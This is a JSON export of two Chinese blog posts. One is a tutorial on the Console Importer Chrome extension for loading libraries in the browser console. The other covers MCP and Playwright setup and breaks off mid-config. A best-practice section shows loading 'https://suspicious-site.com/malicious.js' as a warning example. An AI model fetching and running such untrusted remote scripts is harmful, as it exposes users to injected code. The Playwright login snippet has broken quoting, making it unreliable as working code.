[{"content":" Chrome 線上應用程式商店 - Console Importer\nGithub - Console Importer\n作為前端開發者，我們經常需要在瀏覽器 Console 中測試一些 JavaScript 函數庫或是 CSS 樣式。但要在 Console 中載入外部資源通常需要手動建立 \u0026lt;script\u0026gt; 或 \u0026lt;link\u0026gt; 標籤，過程相當繁瑣。\n今天要分享的 Console Importer 這個 Chrome 擴充功能，能夠讓我們在 Console 中輕鬆匯入各種 JavaScript 和 CSS 資源，大幅提升開發效率。\n什麼是 Console Importer？ Console Importer 是一個輕量級的 Chrome 擴充功能，它在瀏覽器的開發者工具 Console 中提供了一個全域函數 $i，讓開發者能夠快速匯入 JavaScript 函數庫和 CSS 樣式表。\n這個工具特別適合用於：\n🔍 快速測試：在任何網站上測試新的 JavaScript 函數庫 🎨 樣式調試：載入 CSS 框架來測試網頁外觀 📚 學習探索：快速載入不同版本的函數庫進行比較 🛠️ 除錯協助：在生產環境中臨時載入除錯工具 主要特色 ⚡ 簡單易用：只需一行指令即可載入資源 🌐 多種來源：支援 CDN、NPM 套件、直接 URL 📦 版本控制：可指定特定版本的函數庫 🎯 ES Module 支援：現代化的模組載入方式 🔒 安全性：不會覆蓋現有的全域變數 🔄 重整即重置：頁面重新整理後可輕鬆清除測試環境 Console Importer 的運作原理 Console Importer 的運作邏輯相當聰明，讓我們深入了解它是如何工作的：\n1. 函數庫名稱識別與解析 Console Importer 會根據輸入的參數來決定從哪裡載入資源：\n1 2 3 4 5 6 7 8 9 10 // 純函數庫名稱 → cdnjs $i(\u0026#39;jquery\u0026#39;) // → https://cdnjs.cloudflare.com/ajax/libs/jquery/latest/jquery.min.js // 含版本號 → unpkg $i(\u0026#39;jquery@3.7.1\u0026#39;) // → https://unpkg.com/jquery@3.7.1/dist/jquery.min.js // 完整 URL → 直接載入 $i(\u0026#39;https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js\u0026#39;) 解析流程：\n檢查輸入是否為完整 URL（含 http:// 或 https://） 如果不是 URL，檢查是否包含版本號（@ 符號） 根據結果選擇對應的 CDN 服務 2. 資源類型自動判斷 擴充功能會透過以下方式判斷資源類型：\n1 2 3 4 5 6 7 8 9 10 11 12 // JavaScript 檔案判斷邏輯 function isJavaScript(url) { return url.endsWith(\u0026#39;.js\u0026#39;) || url.includes(\u0026#39;javascript\u0026#39;) || !url.endsWith(\u0026#39;.css\u0026#39;) } // CSS 檔案判斷邏輯 function isCSS(url) { return url.endsWith(\u0026#39;.css\u0026#39;) || url.includes(\u0026#39;stylesheet\u0026#39;) } 3. 動態 DOM 元素建立 Console Importer 會在頁面中動態建立對應的 HTML 元素：\nJavaScript 載入機制： 1 2 3 4 5 6 7 8 9 10 11 12 // 建立 \u0026lt;script\u0026gt; 標籤 const script = document.createElement(\u0026#39;script\u0026#39;) script.src = resolvedUrl script.async = true script.crossOrigin = \u0026#39;anonymous\u0026#39; // 載入完成的 Promise 處理 script.onload = () =\u0026gt; resolve() script.onerror = () =\u0026gt; reject() // 插入到 \u0026lt;head\u0026gt; 中 document.head.appendChild(script) CSS 載入機制： 1 2 3 4 5 6 7 8 9 10 11 12 // 建立 \u0026lt;link\u0026gt; 標籤 const link = document.createElement(\u0026#39;link\u0026#39;) link.rel = \u0026#39;stylesheet\u0026#39; link.href = resolvedUrl link.crossOrigin = \u0026#39;anonymous\u0026#39; // 載入狀態監聽 link.onload = () =\u0026gt; resolve() link.onerror = () =\u0026gt; reject() // 插入到 \u0026lt;head\u0026gt; 中 document.head.appendChild(link) 4. 重複載入防護機制 Console Importer 具有智能的重複載入檢查：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // 內部維護的載入記錄 const loadedResources = new Set() function $i(resource) { const resolvedUrl = resolveUrl(resource) // 檢查是否已經載入過 if (loadedResources.has(resolvedUrl)) { console.log(`${resource} 已經載入過，跳過重複載入`) return Promise.resolve() } // 標記為已載入 loadedResources.add(resolvedUrl) // 執行載入邏輯 return loadResource(resolvedUrl) } 5. ES Module 載入機制 對於 ES Module，Console Importer 使用現代的 import() 語法：\n1 2 3 4 5 6 7 8 9 10 11 12 async function loadESModule(packageName) { // 使用 esm.run 作為 ES Module CDN const moduleUrl = `https://esm.run/${packageName}` try { // 動態 import const module = await import(moduleUrl) return module.default || module } catch (error) { throw new Error(`Failed to load ES module: ${packageName}`) } } 頁面重整與資源重置機制 這是很多開發者關心的重要問題：當頁面重新整理後會發生什麼？\n🔄 頁面重整後的行為 已載入的資源狀態： ❌ DOM 中的元素會被清除：透過 Console Importer 動態載入的 \u0026lt;script\u0026gt; 和 \u0026lt;link\u0026gt; 標籤會被移除 ❌ CSS 樣式會消失：由於 \u0026lt;link\u0026gt; 標籤被清除，所有載入的 CSS 樣式都會失效 ❌ JavaScript 變數會重置：所有透過 JavaScript 載入的全域變數都會被清除 ❌ Console Importer 記錄重置：內部的載入記錄會被清空 🔄 完全重置環境：頁面會回到載入前的原始狀態 實際測試範例： 1 2 3 4 5 6 7 8 9 10 11 12 // 第一次載入 $i(\u0026#39;jquery\u0026#39;) console.log(typeof $) // \u0026#34;function\u0026#34; console.log(document.querySelector(\u0026#39;script[src*=\u0026#34;jquery\u0026#34;]\u0026#39;)) // \u0026lt;script src=\u0026#34;https://cdnjs.cloudflare.com/.../jquery.min.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt; // → script 標籤存在 // 頁面重整後... console.log(typeof $) // \u0026#34;undefined\u0026#34; (變數被清除) console.log(document.querySelector(\u0026#39;script[src*=\u0026#34;jquery\u0026#34;]\u0026#39;)) // null // → script 標籤也被清除了！需要重新載入 🚀 重整後的最佳實踐 方法 1：重新載入所需資源 1 2 3 4 5 6 7 8 9 // 重整後需要重新載入所有資源 $i(\u0026#39;jquery\u0026#39;) // 重新載入 jQuery // 等待載入完成 setTimeout(() =\u0026gt; { console.log(typeof $) // \u0026#34;function\u0026#34; - 重新載入成功 console.log(document.querySelector(\u0026#39;script[src*=\u0026#34;jquery\u0026#34;]\u0026#39;)) // \u0026lt;script src=\u0026#34;...\u0026#34;\u0026gt; - DOM 元素重新創建 }, 1000) 方法 2：檢查載入狀態 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 // 建立一個檢查函數 function ensureLibraryLoaded(libName, globalVar, callback) { if (typeof window[globalVar] !== \u0026#39;undefined\u0026#39;) { // 已經載入完成 callback() } else { // 需要重新載入或等待 $i(libName) const checkInterval = setInterval(() =\u0026gt; { if (typeof window[globalVar] !== \u0026#39;undefined\u0026#39;) { clearInterval(checkInterval) callback() } }, 100) } } // 使用範例 ensureLibraryLoaded(\u0026#39;jquery\u0026#39;, \u0026#39;$\u0026#39;, () =\u0026gt; { console.log(\u0026#39;jQuery 已準備就緒！\u0026#39;) $(\u0026#39;#myElement\u0026#39;).hide() }) 方法 3：自動重載腳本 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 // 建立一個自動重載的工具函數 function autoReload(libraries) { const reloadPromises = libraries.map(lib =\u0026gt; { if (typeof lib.check === \u0026#39;function\u0026#39; \u0026amp;\u0026amp; !lib.check()) { console.log(`重新載入 ${lib.name}...`) return $i(lib.package) } return Promise.resolve() }) return Promise.all(reloadPromises) } // 使用範例 const myLibraries = [ { name: \u0026#39;jQuery\u0026#39;, package: \u0026#39;jquery\u0026#39;, check: () =\u0026gt; typeof $ !== \u0026#39;undefined\u0026#39; }, { name: \u0026#39;Lodash\u0026#39;, package: \u0026#39;lodash\u0026#39;, check: () =\u0026gt; typeof _ !== \u0026#39;undefined\u0026#39; }, { name: \u0026#39;Moment\u0026#39;, package: \u0026#39;moment\u0026#39;, check: () =\u0026gt; typeof moment !== \u0026#39;undefined\u0026#39; } ] // 頁面載入後自動檢查並重載 autoReload(myLibraries).then(() =\u0026gt; { console.log(\u0026#39;所有函數庫都已準備就緒！\u0026#39;) }) ⚠️ 需要注意的陷阱 1. CSS 樣式累積問題 1 2 3 4 5 6 7 8 9 // 重複載入 CSS 可能導致樣式重複 $i(\u0026#39;https://cdn.tailwindcss.com\u0026#39;) // 首次載入 // 頁面重整後... $i(\u0026#39;https://cdn.tailwindcss.com\u0026#39;) // 可能會再次載入 // 解決方案：檢查是否已存在 if (!document.querySelector(\u0026#39;link[href*=\u0026#34;tailwindcss\u0026#34;]\u0026#39;)) { $i(\u0026#39;https://cdn.tailwindcss.com\u0026#39;) } 2. 版本衝突問題 1 2 3 4 5 6 7 8 9 10 11 12 13 14 // 重整前載入了舊版本 $i(\u0026#39;jquery@2.2.4\u0026#39;) // 重整後想載入新版本 $i(\u0026#39;jquery@3.7.1\u0026#39;) // 可能會有兩個版本同時存在 // 解決方案：清理舊版本 function cleanOldScripts(pattern) { document.querySelectorAll(`script[src*=\u0026#34;${pattern}\u0026#34;]`) .forEach(script =\u0026gt; script.remove()) } cleanOldScripts(\u0026#39;jquery\u0026#39;) $i(\u0026#39;jquery@3.7.1\u0026#39;) 📋 重整檢查清單 開發時建議建立這樣的檢查流程：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // 重整後的環境檢查 function checkEnvironment() { const checks = [ { name: \u0026#39;jQuery\u0026#39;, test: () =\u0026gt; typeof $ !== \u0026#39;undefined\u0026#39; }, { name: \u0026#39;Lodash\u0026#39;, test: () =\u0026gt; typeof _ !== \u0026#39;undefined\u0026#39; }, { name: \u0026#39;Chart.js\u0026#39;, test: () =\u0026gt; typeof Chart !== \u0026#39;undefined\u0026#39; } ] console.group(\u0026#39;🔍 環境檢查\u0026#39;) checks.forEach(check =\u0026gt; { const status = check.test() ? \u0026#39;✅\u0026#39; : \u0026#39;❌\u0026#39; console.log(`${status} ${check.name}`) }) console.groupEnd() } // 使用 checkEnvironment() 這樣可以讓你快速了解重整後哪些函數庫需要重新載入！\n安裝方式 方法一：Chrome 線上應用程式商店安裝 前往 Chrome 線上應用程式商店 點擊「加到 Chrome」按鈕 確認安裝權限 安裝完成後，打開任何網頁的開發者工具即可使用 🌐 新分頁使用注意：\n重要：在完全新的空白分頁（如 chrome://newtab/ 或 about:blank）中，$i 函數無法正常掛載，這是因為 Chrome 擴充功能需要在實際的網頁環境中才能注入腳本。\n解決方案：請先導航到任何一個實際的網站（如 https://www.google.com、https://github.com 等），然後打開 Console，此時 $i 函數就會正常可用了。 方法二：手動安裝（開發者模式） 1 2 3 4 5 6 7 8 9 # clone 專案 git clone https://github.com/pd4d10/console-importer.git cd console-importer # 安裝依賴 pnpm install # 打包擴充功能 pnpm build 然後在 Chrome 的擴充功能管理頁面啟用「開發者模式」，載入 build 資料夾即可。\n基本使用方法 安裝完成後，在任何網頁上打開開發者工具（F12），切換到 Console 標籤，就可以開始使用 $i 函數了。\n📋 使用前檢查：\n在新分頁中，請先確認 Console Importer 擴充功能是否正常運作。可以在 Console 輸入 typeof $i，如果回傳 \"function\" 表示擴充功能已正常載入；如果回傳 \"undefined\" 則需要先安裝或啟用擴充功能。 🌐 新分頁使用注意：\n重要：在完全新的空白分頁（如 chrome://newtab/ 或 about:blank）中，$i 函數通常無法正常掛載。這是因為 Chrome 擴充功能需要在實際的網頁環境中才能注入腳本。\n解決方案：請先導航到任何一個實際的網站（如 https://www.google.com、https://github.com 等），然後打開 Console，此時 $i 函數就會正常可用了。 載入 JavaScript 函數庫 1. 載入熱門函數庫 1 2 3 4 5 6 7 8 // 載入最新版本的 jQuery $i(\u0026#39;jquery\u0026#39;) // 載入最新版本的 Lodash $i(\u0026#39;lodash\u0026#39;) // 載入 Bootstrap JavaScript $i(\u0026#39;bootstrap\u0026#39;) 2. 指定版本載入 1 2 3 4 5 6 7 8 // 載入 jQuery 2.x 版本 $i(\u0026#39;jquery@2\u0026#39;) // 載入指定版本的 Vue.js $i(\u0026#39;vue@3.3.4\u0026#39;) // 載入特定版本的 React $i(\u0026#39;react@18.2.0\u0026#39;) 3. 直接載入 URL 1 2 3 4 5 // 從 CDN 載入 jQuery $i(\u0026#39;https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js\u0026#39;) // 載入自定義的 JavaScript 檔案 $i(\u0026#39;https://example.com/custom-script.js\u0026#39;) 載入 CSS 樣式表 1 2 3 4 5 6 7 8 // 載入 Bootstrap CSS $i(\u0026#39;https://maxcdn.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css\u0026#39;) // 載入 Font Awesome $i(\u0026#39;https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css\u0026#39;) // 載入自定義樣式 $i(\u0026#39;https://example.com/custom-styles.css\u0026#39;) 進階功能 ES Module 載入 現代 JavaScript 開發大量使用 ES Module，Console Importer 提供了 $i.esm 方法來載入 ES Module：\n1 2 3 4 5 6 7 8 // 載入 D3.js ES Module const d3 = await $i.esm(\u0026#39;d3\u0026#39;) // 載入指定版本的 ES Module const d3v7 = await $i.esm(\u0026#39;d3@7\u0026#39;) // 使用載入的模組 d3.select(\u0026#39;body\u0026#39;).append(\u0026#39;h1\u0026#39;).text(\u0026#39;Hello D3!\u0026#39;) 💡 ES Module 的優勢：\nES Module 載入方式不會將變數加入到全域作用域中，能夠更好地控制副作用的範圍。 指定 CDN 來源 如果需要從特定的 CDN 載入資源，可以使用以下專用方法：\n1 2 3 4 5 // 從 unpkg 載入 $i.unpkg(\u0026#39;react@18.2.0\u0026#39;) // 從 cdnjs 載入 $i.cdnjs(\u0026#39;jquery\u0026#39;) 實際應用範例 範例：快速測試 Chart.js 假設我們想在某個網站上測試圖表功能：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 // 載入 Chart.js $i(\u0026#39;chart.js\u0026#39;) // 等待載入完成後，建立一個簡單的圖表 setTimeout(() =\u0026gt; { // 在頁面中建立 canvas 元素 const canvas = document.createElement(\u0026#39;canvas\u0026#39;) canvas.id = \u0026#39;myChart\u0026#39; canvas.width = 400 canvas.height = 200 document.body.appendChild(canvas) // 建立圖表 const ctx = document.getElementById(\u0026#39;myChart\u0026#39;).getContext(\u0026#39;2d\u0026#39;) new Chart(ctx, { type: \u0026#39;bar\u0026#39;, data: { labels: [\u0026#39;一月\u0026#39;, \u0026#39;二月\u0026#39;, \u0026#39;三月\u0026#39;, \u0026#39;四月\u0026#39;, \u0026#39;五月\u0026#39;], datasets: [{ label: \u0026#39;銷售額\u0026#39;, data: [12, 19, 3, 5, 2], backgroundColor: \u0026#39;rgba(54, 162, 235, 0.2)\u0026#39;, borderColor: \u0026#39;rgba(54, 162, 235, 1)\u0026#39;, borderWidth: 1 }] }, options: { scales: { y: { beginAtZero: true } } } }) }, 2000) 範例：載入 Tailwind CSS 進行樣式測試 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // 載入 Tailwind CSS $i(\u0026#39;https://cdn.tailwindcss.com\u0026#39;) // 等待載入完成後，為頁面元素加上 Tailwind 樣式 setTimeout(() =\u0026gt; { // 選取頁面中的標題元素 const headings = document.querySelectorAll(\u0026#39;h1, h2, h3\u0026#39;) headings.forEach(heading =\u0026gt; { heading.className = \u0026#39;text-3xl font-bold text-blue-600 mb-4\u0026#39; }) // 為按鈕加上樣式 const buttons = document.querySelectorAll(\u0026#39;button, .btn\u0026#39;) buttons.forEach(button =\u0026gt; { button.className = \u0026#39;bg-blue-500 hover:bg-blue-700 text-white font-bold py-2 px-4 rounded\u0026#39; }) }, 1000) 範例：使用 Lodash 進行數據處理 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // 載入 Lodash $i(\u0026#39;lodash\u0026#39;) // 等待載入完成後使用 Lodash 功能 setTimeout(() =\u0026gt; { // 模擬一些數據 const users = [ { name: \u0026#39;Alice\u0026#39;, age: 25, city: \u0026#39;Taipei\u0026#39; }, { name: \u0026#39;Bob\u0026#39;, age: 30, city: \u0026#39;Kaohsiung\u0026#39; }, { name: \u0026#39;Charlie\u0026#39;, age: 35, city: \u0026#39;Taipei\u0026#39; }, { name: \u0026#39;Diana\u0026#39;, age: 28, city: \u0026#39;Taichung\u0026#39; } ] // 使用 Lodash 進行數據操作 console.log(\u0026#39;按年齡分組：\u0026#39;, _.groupBy(users, \u0026#39;age\u0026#39;)) console.log(\u0026#39;平均年齡：\u0026#39;, _.meanBy(users, \u0026#39;age\u0026#39;)) console.log(\u0026#39;台北的使用者：\u0026#39;, _.filter(users, { city: \u0026#39;Taipei\u0026#39; })) console.log(\u0026#39;排序後的使用者：\u0026#39;, _.sortBy(users, \u0026#39;age\u0026#39;)) }, 1000) 範例：ES Module 載入 Day.js 進行日期處理 1 2 3 4 5 6 7 8 9 10 11 12 // 使用 ES Module 方式載入 Day.js const dayjs = await $i.esm(\u0026#39;dayjs\u0026#39;) // 直接使用，不會污染全域變數 console.log(\u0026#39;現在時間：\u0026#39;, dayjs().format(\u0026#39;YYYY-MM-DD HH:mm:ss\u0026#39;)) console.log(\u0026#39;一週後：\u0026#39;, dayjs().add(7, \u0026#39;day\u0026#39;).format(\u0026#39;YYYY-MM-DD\u0026#39;)) console.log(\u0026#39;相對時間：\u0026#39;, dayjs().fromNow()) // 載入 Day.js 插件 const relativeTime = await $i.esm(\u0026#39;dayjs/plugin/relativeTime\u0026#39;) dayjs.extend(relativeTime) console.log(\u0026#39;三天前：\u0026#39;, dayjs().subtract(3, \u0026#39;day\u0026#39;).fromNow()) 常見問題與解決方案 問題：$i is not defined 錯誤 現象：在 Console 輸入 $i(\u0026quot;jquery\u0026quot;) 時出現 Uncaught ReferenceError: $i is not defined\n可能原因與解決方案：\n原因：擴充功能未安裝或啟用 確認已從 Chrome 線上應用程式商店 安裝擴充功能 檢查擴充功能是否已啟用：進入 chrome://extensions/ 確認 Console Importer 狀態為「已啟用」 重新載入頁面後再次嘗試 如果仍有問題，嘗試重新安裝擴充功能 原因：在不支援的頁面中使用 最常見情況：在新分頁或特殊頁面中無法使用 $i\n不支援的頁面類型：\nchrome://newtab/（Chrome 新分頁） about:blank（空白頁面） chrome://extensions/（擴充功能頁面） chrome://settings/（設定頁面） 某些內部頁面或受限頁面 解決方案：\n1 2 3 4 5 6 7 8 // ❌ 在新分頁中嘗試使用（會失敗） // 打開 chrome://newtab/ 然後嘗試 typeof $i // \u0026#34;undefined\u0026#34; // ✅ 導航到實際網站後使用 // 前往 https://www.google.com 或任何網站 typeof $i // \u0026#34;function\u0026#34; $i(\u0026#39;jquery\u0026#39;) // 正常運作 快速測試步驟：\n打開新分頁 前往任何網站（推薦：https://httpbin.org、https://example.com） 開啟開發者工具 (F12) 在 Console 輸入 typeof $i 檢查是否為 \u0026quot;function\u0026quot; 問題：$i 函數不起作用 原因：某些網站（如 Google Inbox）已經使用了 $i 作為全域變數，Console Importer 不會覆蓋現有變數。\n解決方案：使用 console.$i 替代：\n1 2 // 在有衝突的網站上使用 console.$i(\u0026#39;jquery\u0026#39;) 問題：資源載入失敗 原因：某些網站（如 GitHub）有嚴格的內容安全政策（CSP），會阻止載入外部資源。\n錯誤訊息範例：\n1 2 Refused to connect to \u0026#39;https://api.cdnjs.com/libraries?search=jquery\u0026#39; because it violates the following Content Security Policy directive 解決方案：\n嘗試在其他沒有嚴格 CSP 的網站上使用 使用本地檔案或內網資源 臨時停用 CSP（僅適用於開發環境） 問題：載入後無法立即使用 原因：網路載入需要時間，特別是大型函數庫。\n解決方案：使用 setTimeout 或監聽載入事件：\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 $i(\u0026#39;jquery\u0026#39;) // 方法 1：使用 setTimeout setTimeout(() =\u0026gt; { $(\u0026#39;#myElement\u0026#39;).hide() }, 2000) // 方法 2：輪詢檢查 const checkLoaded = setInterval(() =\u0026gt; { if (typeof $ !== \u0026#39;undefined\u0026#39;) { clearInterval(checkLoaded) $(\u0026#39;#myElement\u0026#39;).hide() } }, 100) 與其他工具的比較 Console Importer vs 手動建立檔案與內容 傳統方式：\n1 2 3 4 5 6 7 8 // 手動建立 script 標籤 const script = document.createElement(\u0026#39;script\u0026#39;) script.src = \u0026#39;https://code.jquery.com/jquery-3.7.1.min.js\u0026#39; document.head.appendChild(script) script.onload = () =\u0026gt; { // 使用 jQuery $(\u0026#39;body\u0026#39;).addClass(\u0026#39;loaded\u0026#39;) } Console Importer：\n1 2 // 一行搞定 $i(\u0026#39;jquery\u0026#39;) Console Importer vs 其他瀏覽器擴充功能 功能 Console Importer 其他擴充功能 簡潔性 ⭐⭐⭐⭐⭐ ⭐⭐⭐ 版本控制 ⭐⭐⭐⭐⭐ ⭐⭐ ES Module ⭐⭐⭐⭐⭐ ⭐ 檔案大小 小 中等 學習成本 極低 中等 最佳實踐建議 效能考量 1 2 3 4 5 // ❌ 避免載入過大的函數庫影響頁面效能 $i(\u0026#39;entire-ui-framework@latest\u0026#39;) // ✅ 只載入需要的部分 $i(\u0026#39;lodash/debounce\u0026#39;) 版本管理 1 2 3 4 5 // ❌ 不指定版本可能導致不一致 $i(\u0026#39;react\u0026#39;) // ✅ 指定明確版本確保穩定性 $i(\u0026#39;react@18.2.0\u0026#39;) 安全性 1 2 3 4 5 // ❌ 不要載入不信任的來源 $i(\u0026#39;https://suspicious-site.com/malicious.js\u0026#39;) // ✅ 使用知名 CDN $i(\u0026#39;https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js\u0026#39;) 結語 Console Importer 是一個簡單卻非常實用的開發工具，它讓我們能夠在瀏覽器 Console 中快速測試各種 JavaScript 函數庫和 CSS 樣式。無論是快速原型設計、除錯、或是學習新技術，這個工具都能大幅提升我們的開發效率。\n適合使用的場景：\n🔍 快速測試新的 JavaScript 函數庫 🎨 在現有網站上測試不同的 CSS 框架 📚 學習和比較不同版本的函數庫 🛠️ 在生產環境中進行臨時除錯 🚀 快速建立概念驗證（PoC） 如果你是前端開發者，我強烈推薦安裝這個擴充功能到你的 Chrome 瀏覽器中。它會成為你開發工具箱中不可或缺的一部分。\n立即安裝：Chrome 線上應用程式商店 - Console Importer\n⚠️ 注意事項：\n雖然 Console Importer 非常方便，但請記住只在開發和測試環境中使用。在生產環境中隨意載入外部資源可能會帶來安全風險和效能問題。 相關資源：\nGitHub Chrome 線上應用程式商店 MDN - Content Security Policy cdnjs - 開源 CDN unpkg - npm CDN 希望這篇文章對您有幫助！如果您有任何問題或建議，歡迎在下方留言討論。🚀\n","date":"2025-10-16T00:00:00Z","image":"https://live.staticflickr.com/65535/54858288256_40cf65e375_b.jpg","permalink":"https://blog.wayne-project.com/2025-10-16/console-importer-chrome-extension/","title":"分享一個實用的 Chrome 擴充功能 - Console Importer"},{"content":" 官方文件 - Playwright\n本篇將分享如何在 VSCode 開發中，結合 MCP Servers 與 Playwright，製作現代化自動化測試的流程。\nMCP MCP 全名為 Model Context Protocol，中文為「模型上下文協定」，是一種開放協定，2024 年 11 月由開發模型 Claude 的美國新創公司 Anthropic 推出，提供了一種標準化的方式，讓 AI 向外部工具請求使用服務和數據。並且透過提供 AI 上下文指示，讓 AI 決定使用哪些工具、按什麼順序以及如何將工作流程連結在一起以完成任務。\n換句話說，MCP 不只能當作轉接頭，也像是提供 AI 一本使用說明書，幫助 AI 理解企業數據和應用情境，例如內部數據的結構與存取方式、重要的業務邏輯與規則，以及專業術語等。\n以銀行客服系統導入 AI 為例，當客戶詢問：「能否提前還清貸款？」MCP 能提示 AI 該銀行的房貸規則在哪裡查詢、違約金計算方式，和哪些客戶符合提前還款條件等。\n典型應用：AI Copilot、Code Search、Test Runner、Remote Workspace 等 讓 VSCode extension 能像微服務一樣，與外部系統互動 MCP Server 架構圖：\nMCP 主機（MCP Host） Claude、ChatGPT\u0026hellip;等需要透過 MCP 存取外部工具的 AI 模型，它們會請求 MCP 來幫助執行各種操作。這些 AI 模型就像筆電本身，需要透過轉接頭來連接外部裝置。\n例如：Claude、ChatGPT、Gemini、Llama\u0026hellip;等 AI 模型。\nMCP 客戶端（MCP Client） AI 存取 MCP 的程式碼，它讓 AI 可以透過 MCP 來請求特定的工具或數據來源。這就像筆電的 USB 連接埠，負責發送請求給轉接頭，讓筆電知道該怎麼存取外部設備。\n例如：Anthropic 官方 MCP SDK、OpenAI MCP client library、Python/TypeScript MCP client 實作\u0026hellip;等。\nMCP 伺服端（MCP Server） Slack、Gmail、Google 日曆、Mac 檔案系統等，提供 AI 所需的功能與數據，可以是遠端應用程式或本地數據來源。MCP Server 就像滑鼠、鍵盤、硬碟等各種 USB 設備，透過轉接頭連接到筆電。\n以 VSCode 為例，MCP Servers 作為 VSCode 與外部工具或數據源之間的媒介，像是使用者可以從 Google Drive 調取數據檔案，也可以從 GitHub 創建任務分支和查詢程式碼。\n例如：Google Drive MCP Server、GitHub MCP Server、VSCode MCP Server、Notion MCP Server、Jira MCP Server\u0026hellip;等。\nVSCode MCP Server 是什麼？ VSCode 官方也提出了自己的 MCP Servers，目標是讓 extension 能以更彈性的方式與外部服務溝通，突破過去 LSP（Language Server Protocol）或 Debug Adapter Protocol 的限制。\nMCP Server 特色：\n支援多種 context（如 AI、語意分析、測試、執行環境等） 可同時處理多種資料流與事件，適合大型、複雜的 extension 典型應用：AI Copilot、Code Search、Test Runner、Remote Workspace 等 讓 VSCode extension 能像微服務一樣，與外部系統互動 Playwright 是什麼？ Playwright 是由 Microsoft 推出的現代化瀏覽器自動化測試框架，支援 Chromium、Firefox、WebKit 三大主流瀏覽器，並可用 TypeScript、JavaScript、Python、C# 等語言撰寫測試腳本。Playwright 具備跨平台、API 直覺、可錄製操作、支援多分頁與多瀏覽器等特性，適合用於前端、Web App、SPA、Webview 等多種場景的自動化測試。\n主要特色：\nPlaywright 讓開發者能快速撰寫、執行、維護自動化測試腳本，是現代前端開發與測試的主流選擇之一。\nPlaywright 與其他自動化操作工具的差異 工具 支援瀏覽器 語言支援 API/功能特色 CI/CD 整合 其他特色 Playwright Chromium、Firefox、WebKit（含 Safari） JavaScript、TypeScript、Python、C# API 現代化且直覺，原生多分頁/多瀏覽器、網路攔截、等待同步、錄製腳本 易於整合 進階功能多 Selenium 幾乎所有主流瀏覽器 Java、Python、C#、JS 等 API 較繁瑣、較舊，等待/同步需手動處理 易於整合 穩定性高、跨平台 Cypress Chromium、Firefox JavaScript、TypeScript API 現代化且直覺，原生等待/同步、無多分頁/多瀏覽器 易於整合 內建測試儀表板 重點差異說明：\nPlaywright 支援三大主流瀏覽器（含 Safari/WebKit），API 現代化，原生支援多分頁、網路攔截、等待同步，適合複雜互動測試。 Selenium 歷史悠久，支援最多語言與瀏覽器，但 API 較繁瑣，等待/同步需手動處理，適合跨平台、穩定性要求高的場景。 Cypress 以前端 E2E 測試為主，API 直覺，原生等待，但僅支援部分瀏覽器，不支援多分頁，適合前端 SPA/React/Vue 等專案。 Playwright 在現代前端、Web App、VSCode extension 測試場景下，通常能提供更高效、易用的自動化體驗。\nPlaywright 導入方式 安裝 Playwright 套件 1 2 npm install -D @playwright/test npx playwright install 這會安裝 Playwright 及所需瀏覽器。\n建立測試目錄與設定檔 建立 tests/ 目錄，並新增 playwright.config.ts：\nplaywright.config.ts 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 import { defineConfig, devices } from \u0026#34;@playwright/test\u0026#34; export default defineConfig({ testDir: \u0026#34;./playwright\u0026#34;, // 測試腳本目錄 timeout: 30 * 1000, expect: { timeout: 5000 }, fullyParallel: true, forbidOnly: !!process.env.CI, retries: process.env.CI ? 2 : 0, workers: process.env.CI ? 1 : undefined, reporter: [[\u0026#34;list\u0026#34;], [\u0026#34;html\u0026#34;, { outputFolder: \u0026#34;playwright-report\u0026#34;, open: \u0026#34;never\u0026#34; }]], use: { baseURL: \u0026#34;https://localhost:8082/\u0026#34;, // Vite dev server https ignoreHTTPSErrors: true, trace: \u0026#34;on-first-retry\u0026#34;, headless: false, viewport: { width: 1280, height: 800 }, ...devices[\u0026#34;Desktop Chrome\u0026#34;] } }) 撰寫第一個測試腳本 例如建立一支跑自動跑登入流程的腳本：\ntests/login.spec.ts 1 2 3 4 5 6 7 8 9 10 import { test, expect } from \u0026#39;@playwright/test\u0026#39;; test(\u0026#34;登入流程測試\u0026#34;, async ({ page }) =\u0026gt; { await page.goto(\u0026#34;https://{我要測試的網站}/login\u0026#34;); await page.fill(\u0026#34;input[name=\u0026#34;username\u0026#34;]\u0026#34;, \u0026#34;wayne\u0026#34;); await page.fill(\u0026#34;input[name=\u0026#34;password\u0026#34;]\u0026#34;, \u0026#34;123456\u0026#34;); await page.click(\u0026#34;button[type=\u0026#34;submit\u0026#34;]\u0026#34;); await expect(page).toHaveURL(/dashboard|home/); await expect(page.locator(\u0026#34;.user-info\u0026#34;)).toContainText(\u0026#34;wayne\u0026#34;); }); 執行測試 1 2 3 4 5 6 7 8 # 執行所有測試： npx playwright test #執行單一測項（指定檔案）： npx playwright test tests/login.spec.ts # 執行單一測項（指定測試名稱）： npx playwright test -g \u0026#34;登入流程測試\u0026#34; Playwright 會自動啟動瀏覽器並執行所有或指定的測試腳本。\n進階設定與 CI 整合 可在 playwright.config.ts 設定多瀏覽器測試、環境變數、報告格式等 可在 GitHub Actions、GitLab CI 等自動化流程中執行 Playwright 測試 Playwright 在 VSCode Extension/MCP Server 專案的應用 驗證 extension Webview UI/互動 測試 MCP Server API 回應與錯誤處理 整合 CI/CD，確保 extension 發布品質 Playwright 讓開發者能快速撰寫、執行、維護自動化測試腳本，是現代前端開發與測試的主流選擇之一。\nPlaywright 的設定值與常用元件介紹 playwright.config 常用設定值 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 